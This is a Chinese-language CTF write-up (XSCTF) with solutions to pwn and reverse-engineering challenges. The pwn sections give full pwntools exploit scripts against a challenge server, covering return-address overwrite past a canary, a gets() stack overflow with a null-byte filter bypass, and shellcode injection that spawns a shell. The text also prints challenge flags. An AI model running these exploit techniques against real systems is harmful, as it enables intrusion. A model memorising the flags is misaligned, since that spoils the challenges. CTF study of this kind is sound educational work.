c_master 请使用简单的C语句对程序进行getshell吧!
1 2 3 4 5 6 Try to write a C getshell program with my code! read(0,base,0x8); write(1,base,0x8); base+=8; base-=8; return 0;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 int __cdecl main (int argc, const char **argv, const char **envp) { int v4; void *s; char v6[8 ]; unsigned __int64 v7; v7 = __readfsqword(0x28 u); init(argc, argv, envp); v4 = 0 ; s = malloc (0x400 uLL); memset (s, 0 , 1024u LL); puts ("Try to write a C getshell program with my code!" ); puts ("read(0,base,0x8);" ); puts ("write(1,base,0x8);" ); puts ("base+=8;" ); puts ("base-=8;" ); puts ("return 0;" ); while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { puts (">>>" ); __isoc99_scanf("%128s" , s); if ( strcmp ((const char *)s, "read(0,base,0x8);" ) ) break ; puts ("input:" ); read(0 , &v6[v4], 8u LL); } if ( strcmp ((const char *)s, "write(1,base,0x8);" ) ) break ; puts ("output:" ); write(1 , &v6[v4], 8u LL); } if ( strcmp ((const char *)s, "base+=8;" ) ) break ; v4 += 8 ; } if ( strcmp ((const char *)s, "base-=8;" ) ) break ; v4 -= 8 ; } if ( strcmp ((const char *)s, "return 0;" ) ) break ; puts ("No such code..." ); } return 0 ; }
根据输入确定写入数据的地址,那么可以直接将位置定位到main函数的返回地址,写入程序中提供的backdoor函数 需要注意程序开了canary,所以要多往后走一次
Low Address
…
local var
<- rsp
canary value
<- rbp-8
old rbp
<- rbp
return address
args
High Address
…
坑:直接返回到backdoor函数又不可以,需要返回到实际执行system函数的代码地址
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *p = remote("43.248.97.213" , 30483 ) p.recv() p.sendline(b"base+=8;" ) p.recv() p.sendline(b"base+=8;" ) p.recv() p.sendline(b"base+=8;" ) p.recv() p.sendline(b"read(0,base,0x8);" ) p.recv() p.sendline(p64(0x4012c3 )) p.recv() p.sendline(b"return 0;" ) p.interactive()
XSCTF{p1e4se_bec0me_4_c_m4ster_x5c7f}
rock_paper_scissors 欢迎来到石头剪刀布! 一共进行三十局,你赢了加一分,输了或平局不得分 获得十分就算胜利! 输入’石头’、’剪刀’或’布’来进行游戏
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 int __cdecl main (int argc, const char **argv, const char **envp) { unsigned int v3; char v5[28 ]; int v6; unsigned int RandomMove; unsigned int userout; int v9; signed int v10; v10 = 0 ; v9 = 0 ; v3 = time(0L L); srand(v3); puts (&byte_402080); puts (&byte_4020A0); puts (&byte_4020E6); puts (&byte_402108); while ( v10 <= 9 && v9 <= 29 ) { printf (&byte_402139); fflush(stdout ); if ( v10 > 5 ) gets(v5); __isoc99_scanf(&unk_402151, v5); userout = stringToMove(v5); if ( userout == -1 ) { puts (&byte_402158); } else if ( v10 > 8 || v10 <= 5 || (int )hard() <= 2 ) { if ( v10 == 9 && (unsigned int )hell() != 666 ) { LABEL_10: win(userout, v10); } else { RandomMove = getRandomMove(); printf (&format); if ( RandomMove == 2 ) { puts (&byte_402037); } else if ( RandomMove <= 2 ) { if ( RandomMove ) puts (&byte_40203E); else puts (&s2); } v6 = determineWinner(userout, RandomMove); if ( v6 == 1 ) { puts (&byte_4021A7); ++v10; } else if ( v6 == -1 ) { puts (&byte_402054); } else { puts (&byte_402073); } printf (&byte_402061, (unsigned int )v10); ++v9; } } else { if ( (int )hard() <= 4 ) goto LABEL_10; bewin(userout, v10); } } final (); return 0 ; }
其中final函数就是最终的shell,而gets函数存在漏洞,可以使用栈溢出将当前函数的返回地址覆盖为final函数的返回地址 但是传输的payload需要符合一定条件 因为程序对输入进行了检查,输入的字符串必须是石头剪刀布的一种 这种情况下可以用%00作为payload,即输入石头的编码后加上%00,这样程序在处理字符串时遇到%00就会认为已经到字符串末尾了,而实际的payload会全部传输到内存中
中文在C语言中使用utf-8编码,一个中文字符占用三个字节 在构造payload时要注意端序,例如“石头”的utf-8编码是E79FB3E5A4B4
但是实际传输时是p64(0xe5b39fe7)+p64(0xb4a4)
exp
1 2 3 4 5 6 7 8 9 from pwn import *p = remote('43.248.97.213' , 30480 ) p.recv() p.sendline(p64(0xe5b39fe7 )+p64(0xb4a4 )+b'a' *20 +b'b' *8 +p64(0x4012db )) p.interactive()
XSCTF{1bab71b8-117f-4dea-a047-340b72101d7b}
一个字节能解决的shellcode,就不要用两个字节!
程序两次接收用户输入,其中第二次应该输入shellcode,之后程序会将用户输入的shellcode直接执行,但是题目限制了输入shellcode的长度(24)
题目给的可执行文件反汇编失败,估计是将字符串地址作为函数地址直接调用导致的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 .text:000055A4CE79820E ; int __cdecl main(int argc, const char **argv, const char **envp) .text:000055A4CE79820E public main .text:000055A4CE79820E main proc near ; DATA XREF: _start+18↑o .text:000055A4CE79820E .text:000055A4CE79820E s= byte ptr -150h .text:000055A4CE79820E buf= byte ptr -50h .text:000055A4CE79820E var_8= dword ptr -8 .text:000055A4CE79820E var_4= dword ptr -4 .text:000055A4CE79820E .text:000055A4CE79820E ; __unwind { // 55A4CE797000 .text:000055A4CE79820E endbr64 .text:000055A4CE798212 push rbp .text:000055A4CE798213 mov rbp, rsp .text:000055A4CE798216 sub rsp, 150h .text:000055A4CE79821D mov eax, 0 .text:000055A4CE798222 call init .text:000055A4CE798227 mov [rbp+var_8], 1 .text:000055A4CE79822E lea rax, s ; "Welcome to XSCTF" .text:000055A4CE798235 mov rdi, rax ; s .text:000055A4CE798238 call _puts .text:000055A4CE79823D lea rax, [rbp+buf] .text:000055A4CE798241 mov edx, 81 ; nbytes .text:000055A4CE798246 mov rsi, rax ; buf .text:000055A4CE798249 mov edi, 0 ; fd .text:000055A4CE79824E call _read .text:000055A4CE798253 lea rax, aInputYourMagic ; "input your magic code:" .text:000055A4CE79825A mov rdi, rax ; s .text:000055A4CE79825D call _puts .text:000055A4CE798262 lea rax, [rbp+s] .text:000055A4CE798269 mov edx, 256 ; nbytes .text:000055A4CE79826E mov rsi, rax ; buf .text:000055A4CE798271 mov edi, 0 ; fd .text:000055A4CE798276 call _read .text:000055A4CE79827B mov [rbp+var_4], eax .text:000055A4CE79827E cmp [rbp+var_4], 0 .text:000055A4CE798282 jg short loc_55A4CE79828B .text:000055A4CE798284 mov eax, 0 .text:000055A4CE798289 jmp short locret_55A4CE7982DE .text:000055A4CE79828B ; --------------------------------------------------------------------------- .text:000055A4CE79828B .text:000055A4CE79828B loc_55A4CE79828B: ; CODE XREF: main+74↑j .text:000055A4CE79828B lea rax, [rbp+s] .text:000055A4CE798292 mov rdi, rax ; s .text:000055A4CE798295 call _strlen .text:000055A4CE79829A mov edx, [rbp+var_8] .text:000055A4CE79829D movsxd rdx, edx .text:000055A4CE7982A0 cmp rax, rdx .text:000055A4CE7982A3 ja short loc_55A4CE7982BA .text:000055A4CE7982A5 lea rax, [rbp+s] .text:000055A4CE7982AC mov rdi, rax ; s .text:000055A4CE7982AF call _strlen .text:000055A4CE7982B4 cmp rax, 24 .text:000055A4CE7982B8 jbe short loc_55A4CE7982D0 .text:000055A4CE7982BA .text:000055A4CE7982BA loc_55A4CE7982BA: ; CODE XREF: main+95↑j .text:000055A4CE7982BA lea rax, aTooLong ; "too long!" .text:000055A4CE7982C1 mov rdi, rax ; s .text:000055A4CE7982C4 call _puts .text:000055A4CE7982C9 mov eax, 0 .text:000055A4CE7982CE jmp short locret_55A4CE7982DE .text:000055A4CE7982D0 ; --------------------------------------------------------------------------- .text:000055A4CE7982D0 .text:000055A4CE7982D0 loc_55A4CE7982D0: ; CODE XREF: main+AA↑j .text:000055A4CE7982D0 lea rax, [rbp+s] .text:000055A4CE7982D7 call rax .text:000055A4CE7982D9 mov eax, 0 .text:000055A4CE7982DE .text:000055A4CE7982DE locret_55A4CE7982DE: ; CODE XREF: main+7B↑j .text:000055A4CE7982DE ; main+C0↑j .text:000055A4CE7982DE leave .text:000055A4CE7982DF retn .text:000055A4CE7982DF ; } // starts at 55A4CE79820E .text:000055A4CE7982DF main endp
值得注意的点是程序接收了两次用户输入 而在接收了两次输入之后程序会对输入进行两次检查
在调用read函数之后,程序使用strlen函数将输入的长度存储在rax中,接着程序会将rax与栈上的一个值进行比较,如果rax大于该值就不会执行shellcode
第二次是与一个固定值(24)比较,如果大于这个值就不会执行shellcode
其中第一次栈上的值其实可以通过第一次的输入修改,这样就可以绕过这次比较 而第二次的比较需要在写入的payload中使用%00作为分隔符,分开正常输入和shellcode
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import *p = remote("43.248.97.213" , 30510 ) p.recv() p.sendline(b'z' *80 ) p.recv() context(arch='amd64' , os='linux' ) shellcode = asm(shellcraft.sh()) + b'\x00' p.sendline(p64(0x1234 )+shellcode) p.interactive()
XSCTF{qy_7t11_y0u_th4t_y0ur_p4yl0ad_15_to0_lon9}
Lets_go_to_xor 只是一个超级Eazzzzzzzzzzy的Go程序,Let's Go!
使用golang编写编译的可执行文件其主函数在main.main
中
进入main.main
找到main.decode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 __int64 __usercall main_decode@<rax>() { __int64 v0; unsigned __int64 v1; unsigned __int64 i; if ( v1 != qword_C86F18 ) return 0L L; for ( i = 0L L; (__int64)v1 > (__int64)i; ++i ) { if ( i >= v1 ) runtime_panicIndex(); if ( (unsigned __int64)((__int64)i % 10 ) >= 0xA ) runtime_panicIndex(); if ( i >= v1 ) runtime_panicIndex(); *(_BYTE *)(v0 + i) = aIL0veCtf[(__int64)i % 10 ] ^ *(_BYTE *)(i + v0); if ( i >= v1 ) runtime_panicIndex(); if ( qword_C86F18 <= i ) runtime_panicIndex(); if ( *((_BYTE *)main_enc + i) != *(_BYTE *)(i + v0) ) return 0L L; } return 1L L; }
虽然和C语言不太一样,但是还是可以勉强看出来逻辑,大概就是下面这个意思
1 2 3 4 5 for ( i = 0L L; (__int64)v1 > (__int64)i; ++i ) *(_BYTE *)(v0 + i) = aIL0veCtf[(__int64)i % 10 ] ^ *(_BYTE *)(i + v0); if ( *((_BYTE *)main_enc + i) != *(_BYTE *)(i + v0) ) return 0L L; }
找到main_enc
和aIL0veCtf
,提取数据,将main_enc
与aIL0veCtf
循环异或就可以得到flag
exp
1 2 3 4 5 key = 'i_l0ve_CtF' s = [0x0F , 0x33 , 0x0D , 0x57 , 0x0D , 0x3D , 0x0C , 0x14 , 0x38 , 0x0E , 0x21 , 0x17 , 0x33 , 0x01 , 0x05 , 0x3A , 0x0F , 0x34 , 0x1A , 0x19 , 0x24 , 0x6B , 0x1F , 0x64 , 0x13 , 0x17 , 0x22 ] for i in range (len (s)): print(chr ((s[i]^ord (key[i%10 ]))&0xff ), end='' )
flag{XSWLHHH_1s_Pwn_M4sTer}
loglistening 题目下发一个安装包 jadx打开看到如下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package com.example.loglistening;import android.os.Bundle;import android.view.View;import android.view.View.OnClickListener;import android.widget.Button;import android.widget.Toast;import androidx.appcompat.app.AppCompatActivity;import com.example.loglistening.databinding.ActivityMainBinding;public class MainActivity extends AppCompatActivity { private ActivityMainBinding binding; public native void fasheng () ; static { System.loadLibrary("loglistening" ); } public void onCreate (Bundle bundle) { super .onCreate(bundle); ActivityMainBinding inflate = ActivityMainBinding.inflate(getLayoutInflater()); this .binding = inflate; setContentView((View) inflate.getRoot()); ((Button) findViewById(C0587R.C0590id.button1)).setOnClickListener(new OnClickListener() { public void onClick (View view) { System.out.println("好像有什么事情在native层发生了!" ); MainActivity.this .fasheng(); Toast.makeText(MainActivity.this .getApplicationContext(), "flag已经生成了!" , 0 ).show(); } }); } }
是通过native层的代码生成的flag 找到so文件扔进ida,找到flag的生成代码
1 2 3 4 5 6 7 8 9 10 unsigned __int64 Java_com_example_loglistening_MainActivity_fasheng () { char v1[40 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); md5("stardustduststar" , v1); __android_log_print(4L L, "xilo" , "flag{%s}" , v1); return __readfsqword(0x28 u); }
按道理说把字符串md5之后就可以得到flag了,但是失败了
看到log字样,直接查日志
模拟器开启开发者选项
adb devices确认连接成功
输入adb logcat -v time>D:log.txt
开始抓取日志,期间打开软件点击按钮生成flag
然后返回命令行Ctrl+C完成抓取
找到log.txt查看日志(虽然命令写的在D盘,但是实际上是在当前目录)
flag{4724110e8c8a83c123d6df82efee8c53}
picchange 输入数字即可得到flag哦
一开始想的是直接扔进ida反编译然后看对图像的加密逻辑,也就是下面的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 void __fastcall sub_7FF6B8023C20 (const char *a1, __int64 a2) { FILE *Stream; FILE *Streama; int v4; void *Buffer; int i; sub_7FF6B80213C0(&unk_7FF6B8036017); Stream = fopen(a1, "rb" ); if ( Stream ) { fseek(Stream, 0 , 2 ); v4 = ftell(Stream); fseek(Stream, 0 , 0 ); Buffer = malloc (v4); if ( Buffer ) { fread(Buffer, 1u i64, v4, Stream); fclose(Stream); for ( i = 0 ; i < v4; ++i ) *((_BYTE *)Buffer + i) ^= strtol((const char *)(i % 32 + a2), 0 i64, 16 ); Streama = fopen("picc_xor.png" , "wb" ); if ( Streama ) { fwrite(Buffer, 1u i64, v4, Streama); fclose(Streama); free (Buffer); sub_7FF6B80211CC(&unk_7FF6B802CFB8); } else { perror(&byte_7FF6B802CFA8); free (Buffer); } } else { perror(&byte_7FF6B802CF80); fclose(Stream); } } else { perror(&ErrMsg); } }
可以看到是对图像文件的每一个字节都进行了异或运算,但是异或的对象是不确定的 在交叉引用到最原始的变量以及动态调试之后得出结论:使用的是输入的三位数字的md5值作为key,对图像文件进行循环异或的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 Stack[00001C64]:0000003589DCF5A8 db 32h ; 2 Stack[00001C64]:0000003589DCF5A9 db 30h ; 0 Stack[00001C64]:0000003589DCF5AA db 32h ; 2 Stack[00001C64]:0000003589DCF5AB db 63h ; c Stack[00001C64]:0000003589DCF5AC db 62h ; b Stack[00001C64]:0000003589DCF5AD db 39h ; 9 Stack[00001C64]:0000003589DCF5AE db 36h ; 6 Stack[00001C64]:0000003589DCF5AF db 32h ; 2 Stack[00001C64]:0000003589DCF5B0 db 61h ; a Stack[00001C64]:0000003589DCF5B1 db 63h ; c Stack[00001C64]:0000003589DCF5B2 db 35h ; 5 Stack[00001C64]:0000003589DCF5B3 db 39h ; 9 Stack[00001C64]:0000003589DCF5B4 db 30h ; 0 Stack[00001C64]:0000003589DCF5B5 db 37h ; 7 Stack[00001C64]:0000003589DCF5B6 db 35h ; 5 Stack[00001C64]:0000003589DCF5B7 db 62h ; b Stack[00001C64]:0000003589DCF5B8 db 39h ; 9 Stack[00001C64]:0000003589DCF5B9 db 36h ; 6 Stack[00001C64]:0000003589DCF5BA db 34h ; 4 Stack[00001C64]:0000003589DCF5BB db 62h ; b Stack[00001C64]:0000003589DCF5BC db 30h ; 0 Stack[00001C64]:0000003589DCF5BD db 37h ; 7 Stack[00001C64]:0000003589DCF5BE db 31h ; 1 Stack[00001C64]:0000003589DCF5BF db 35h ; 5 Stack[00001C64]:0000003589DCF5C0 db 32h ; 2 Stack[00001C64]:0000003589DCF5C1 db 64h ; d Stack[00001C64]:0000003589DCF5C2 db 32h ; 2 Stack[00001C64]:0000003589DCF5C3 db 33h ; 3 Stack[00001C64]:0000003589DCF5C4 db 34h ; 4 Stack[00001C64]:0000003589DCF5C5 db 62h ; b Stack[00001C64]:0000003589DCF5C6 db 37h ; 7 Stack[00001C64]:0000003589DCF5C7 db 30h ; 0
这段数据就是输入的测试数据123
对应的md5值,而为了解密图像,输入的key需要满足一定条件
1 2 请输入你的key: 123 MD5 的前三位数字与 key的本身值 不相等。注:数字范围为0--9
这里需要注意的主要是数字范围为0--9
指的是输入的key还是md5的值,还是两者皆是 答案是只有输入的key,因为作为循环异或的对象长度应该是一定的,而如果转换为十进制的话原本的md5编码的长度可能会变化,这一点也可以在先前对图像加密的代码中得出
1 *((_BYTE *)Buffer + i) ^= strtol((const char *)(i % 32 + a2), 0 i64, 16 );
可以看到也是以32为周期的
所以现在的问题就是找到某三位数字,其md5的值的前三位与原本的值是相等的
生成正确的key
1 2 3 4 5 6 7 8 9 10 11 import hashlibm = hashlib.md5() for i in range (0 ,10 ): for j in range (0 , 10 ): for k in range (0 , 10 ): num = f"{i*100 +j*10 +k:03 d} " c = hashlib.md5(num.encode('utf8' )).hexdigest() print(num, str (c)[0 :3 ]) if str (num) == str (c)[0 :3 ]: print(num)
这里有个坑,使用python实现md5编码还有一种先update再hexdigest的方法,那种方法在这里是行不通的320
然后将key作为输入就可以得到解密后的图片了
flag{pic_pic_is_so_easy!}
Ro1ling~ 题目描述
flag is rolling ~ flag is flying ~
press q
to quit
tips: The flag format is XSCTF\{[ -~]+\}
运行程序,会出现弹幕一样飘过的文字 但是,在中止运行时出现了这样的报错
1 2 3 4 5 6 Traceback (most recent call last): File "Ro1ling.py" , line 97 , in <module> File "curses\__init__.py" , line 94 , in wrapper File "Ro1ling.py" , line 94 , in main KeyboardInterrupt [21964 ] Failed to execute script 'Ro1ling' due to unhandled exception!
熟悉的Traceback,一眼就能看出来是python
所以这是一个使用python编写并打包的exe文件 能打包python的工具主要有pyinstaller
等,这里使用对应的pyinstxtractor
反编译
1 python pyinstxtractor.py Ro1ling.exe
运行以上命令之后就会在当前目录下生成一个文件夹,其中有同名的pyc文件 使用uncompyle6
将pyc文件转换为py文件 但是报错了 使用在线网站的结果也是不完整的
上网查询之后找到这么一篇博客python逆向实战:反编译python3 pyc文件 - 乘舟凉 - 博客园 (cnblogs.com)
里边有手动提取opcode的示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import codefrom uncompyle6.main import decompileimport sysimport disdef get_sub_codeObject_list (co ): return [ins for ins in list (dis.Bytecode(co)) if "code object" in str (ins.argval)] outstream = sys.stdout showasm = None showast = False showgrammar = False source_encoding = None mapstream = None do_fragments = False from xdis import load_modulefilename = "Ro1ling.pyc" code_objects = {} (version, timestamp, magic_int, co, is_pypy, source_size, sip_hash) = load_module( filename, code_objects ) def decompile_part (co,father_name=None ,outstream=sys.stdout ): try : if father_name is not None : name = "%s.%s" % (father_name,co.co_name) else : name = co.co_name outstream.write("\n# %s ____________________________________________\n" % name) decompile( version, co, outstream, None , False , timestamp, False , None , code_objects={}, source_size=source_size, is_pypy=False , magic_int=magic_int, mapstream=None , do_fragments=False , ) except : bytecode = get_sub_codeObject_list(co) for code in bytecode: co = code.argval decompile_part(co,name,outstream) decompile_part(co)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import disimport marshalimport sysimport iosys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf8' ) if len (sys.argv) == 2 : filename = sys.argv[1 ] with open (filename,"rb" ) as fp: byteCode = fp.read()[16 :] co = marshal.loads(byteCode) dis.dis(co)
先运行第一份代码,再运行第二份代码,就可以得到opcode的输出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 28 72 BUILD_LIST 0 74 LOAD_CONST 6 (('Summer in the hills' , 'Those hazy days I do remember' , 'We were running still' , 'Had the whole world at our feet' , 'Watching seasons change' , 'Our roads were lined with adventure' , 'Mountains in the way' , "Couldn't keep us from the sea" , 'Here we stand open arms' , 'This is home where we are' , 'Ever strong in the world that we made' , 'I still hear you in the breeze' , 'See your shadows in the trees' , 'Holding on, memories never change' )) 76 CALL_FINALLY 1 (to 79) 78 STORE_DEREF 2 (phrases) 29 80 LOAD_CONST 7 ('𝙓𝙎𝘾𝙏𝙁{𝙁0𝙧_0𝙣𝙘3_𝙮0𝙪_𝙝4𝙫3_7𝙖57𝙚𝙙_𝙛𝙡𝙞𝙜 𝙝𝙩_𝙮0𝙪_𝙬1𝙡𝙡_� 44𝙡𝙠_7𝙝3_3𝙖𝙧7𝙝_𝙬17𝙝_𝙮0𝙪𝙧_3𝙮35_7𝙪𝙧𝙣3𝙙_5𝙠𝙮𝙬4𝙧𝙙5}' ) 82 STORE_DEREF 3 (secret_message) 46 84 LOAD_DEREF 4 (stdscr) >> 86 LOAD_METHOD 7 (nodelay) 88 LOAD_CONST 8 (True) 90 CALL_METHOD 1 92 POP_TOP
其中因为命令行的编码原因这里的flag其实是乱码(因此我还分析了一下opcode有没有加密的过程,事实证明没有) 但是opcode转换为py代码的方式没有找到
在复制到其他文本编辑器之后就可以看到flag了(要手打,因为格式写了只支持ascii编码的字符,这里是unicode)
XSCTF{F0r_0nc3_y0u_h4v3_7a57ed_flight_y0u_w1ll_w4lk_7h3_3ar7h_w17h_y0ur_3y35_7urn3d_5kyw4rd5}
这flag真长啊
Running~ 一个没有后缀的文件,内容是js代码
1 var _0x21b6c9=_0xe50d;function _0xe50d (_0x483c4e,_0x3bb3e1 ) {var _0x1173b4=_0x1173();return _0xe50d=function (_0xe50d90,_0x1a4c11 ) {_0xe50d90=_0xe50d90-0x105 ;var _0x33ff31=_0x1173b4[_0xe50d90];return _0x33ff31;},_0xe50d(_0x483c4e,_0x3bb3e1);}function _0x1173 ( ) {var _0x2badaa=['920aGutvi' ,'517wlRFdu' ,'221112hjXCvb' ,'169436bqkkfr' ,'8dhAXCJ' ,'12838203EfwKcG' ,'log' ,'CgogX18gICBfXyAgIF9fX19fICAgIF9fX19fICAgX19fX19fXyAgIF9fX19fXyAgICAgX18gICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfX19fXyAgICAgICAgICAgXyAgIF8gICAgIF8gICAgICAgICAgIF8gICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgICAgICBfXyAgICAgICAgICAgICAgICAgIF8gIF8gICAgIF8gICAgIF8gICAgX19fICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgX18gICAgICAgICAgICAgX19fXyAgICBfICAgICAgICBfXyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXyAgICAgXyAgICAgICAgICAgICAgICAgIF9fICAgCiBcIFwgLyAvICAvIF9fX198ICAvIF9fX198IHxfXyAgIF9ffCB8ICBfX19ffCAgIC8gLyAgICAgL1wgICAgICAgICAgICAgICAgICAgICAgfF8gICBffCAgICAgICAgIChfKSB8IHwgICAoXykgICAgICAgICB8IHwgICAgICAgICAgfCAgX19fX3wgICAgICAgICAgICAgICAgL18gfCAgICAgICAgICAgICAgICB8IHx8IHwgICB8IHwgICAoXykgIC8gXyBcICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8gX3wgICAgICAgICAgIC8gX18gXCAgfCB8ICAgICAgLyBffCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgfCAgIChfKSAgICAgICAgICAgICAgICAgXCBcICAKICBcIFYgLyAgfCAoX19fICAgfCB8ICAgICAgICAgfCB8ICAgIHwgfF9fICAgICB8IHwgICAgIC8gIFwgICAgIF8gX18gICAgICAgICAgICAgIHwgfCAgICBfIF9fICAgIF8gIHwgfF8gICBfICAgIF9fIF8gIHwgfCAgICAgICAgICB8IHxfXyAgICBfXyAgX18gIF8gX18gICAgfCB8ICAgX19fICAgIF8gX18gIHwgfHwgfF8gIHwgfF8gICBfICB8IHwgfCB8ICBfIF9fICAgICAgICAgICAgICBfX18gICB8IHxfICAgICAgICAgICB8IHwgIHwgfCB8IHxfXyAgIHwgfF8gICBfICAgXyAgIF9fXyAgICBfX18gICAgX18gXyAgfCB8XyAgIF8gICAgX19fICAgIF8gX18gICAgfCB8IAogICA+IDwgICAgXF9fXyBcICB8IHwgICAgICAgICB8IHwgICAgfCAgX198ICAgLyAvICAgICAvIC9cIFwgICB8ICdfIFwgICAgICAgICAgICAgfCB8ICAgfCAnXyBcICB8IHwgfCBfX3wgfCB8ICAvIF9gIHwgfCB8ICAgICAgICAgIHwgIF9ffCAgIFwgXC8gLyB8ICdfIFwgICB8IHwgIC8gXyBcICB8ICdfX3wgfF9fICAgX3wgfCBfX3wgfCB8IHwgfCB8IHwgfCAnXyBcICAgICAgICAgICAgLyBfIFwgIHwgIF98ICAgICAgICAgIHwgfCAgfCB8IHwgJ18gXCAgfCAgX3wgfCB8IHwgfCAvIF9ffCAgLyBfX3wgIC8gX2AgfCB8IF9ffCB8IHwgIC8gXyBcICB8ICdfIFwgICAgXCBcCiAgLyAuIFwgICBfX19fKSB8IHwgfF9fX18gICAgIHwgfCAgICB8IHwgICAgICBcIFwgICAgLyBfX19fIFwgIHwgfCB8IHwgICAgICAgICAgIF98IHxfICB8IHwgfCB8IHwgfCB8IHxfICB8IHwgfCAoX3wgfCB8IHwgICAgICAgICAgfCB8X19fXyAgID4gIDwgIHwgfF8pIHwgIHwgfCB8IChfKSB8IHwgfCAgICAgICB8IHwgICB8IHxfICB8IHwgfCB8X3wgfCB8IHwgfCB8ICAgICAgICAgIHwgKF8pIHwgfCB8ICAgICAgICAgICAgfCB8X198IHwgfCB8XykgfCB8IHwgICB8IHxffCB8IFxfXyBcIHwgKF9fICB8IChffCB8IHwgfF8gIHwgfCB8IChfKSB8IHwgfCB8IHwgICAvIC8KIC9fLyBcX1wgfF9fX19fLyAgIFxfX19fX3wgICAgfF98ICAgIHxffCAgICAgICB8IHwgIC9fLyAgICBcX1wgfF98IHxffCAgICAgICAgICB8X19fX198IHxffCB8X3wgfF98ICBcX198IHxffCAgXF9fLF98IHxffCAgICAgICAgICB8X19fX19ffCAvXy9cX1wgfCAuX18vICAgfF98ICBcX19fLyAgfF98ICAgICAgIHxffCAgICBcX198IHxffCAgXF9fXy8gIHxffCB8X3wgICAgICAgICAgIFxfX18vICB8X3wgICAgICAgICAgICAgXF9fX18vICB8Xy5fXy8gIHxffCAgICBcX18sX3wgfF9fXy8gIFxfX198ICBcX18sX3wgIFxfX3wgfF98ICBcX19fLyAgfF98IHxffCAgfCB8IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcX1wgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgICAgICB8IHwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgX19fX19fICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC9fLyAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfF9fX19fX3wgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfF9fX19fX3wgICAgICAgICAgICAgICAgIHxffCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxfX19fX198ICAgICAgICAgICAgICAgfF9fX19fX3wgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKCg==' ,'3076824IERKkW' ,'6626otVnDv' ,'4488330eyQBas' ,'7196435AHLNnm' ];_0x1173=function ( ) {return _0x2badaa;};return _0x1173();}(function (_0x3fa77a,_0x506be4 ) {var _0x324ad3=_0xe50d,_0x1b9807=_0x3fa77a();while (!![] ) {try {var _0x5cf5b7=-parseInt (_0x324ad3(0x107 ))/0x1 *(-parseInt (_0x324ad3(0x10f ))/0x2 )+-parseInt (_0x324ad3(0x10e ))/0x3 +parseInt (_0x324ad3(0x109 ))/0x4 +parseInt (_0x324ad3(0x105 ))/0x5 +-parseInt (_0x324ad3(0x110 ))/0x6 +parseInt (_0x324ad3(0x10b ))/0x7 *(parseInt (_0x324ad3(0x10a ))/0x8 )+-parseInt (_0x324ad3(0x108 ))/0x9 *(parseInt (_0x324ad3(0x106 ))/0xa );if (_0x5cf5b7===_0x506be4)break ;else _0x1b9807['push' ](_0x1b9807['shift' ]());}catch (_0x29c073 ) {_0x1b9807['push' ](_0x1b9807['shift' ]());}}}(_0x1173,0xf2d11 ),console [_0x21b6c9(0x10c )](atob(_0x21b6c9(0x10d ))));
直接复制到浏览器控制台
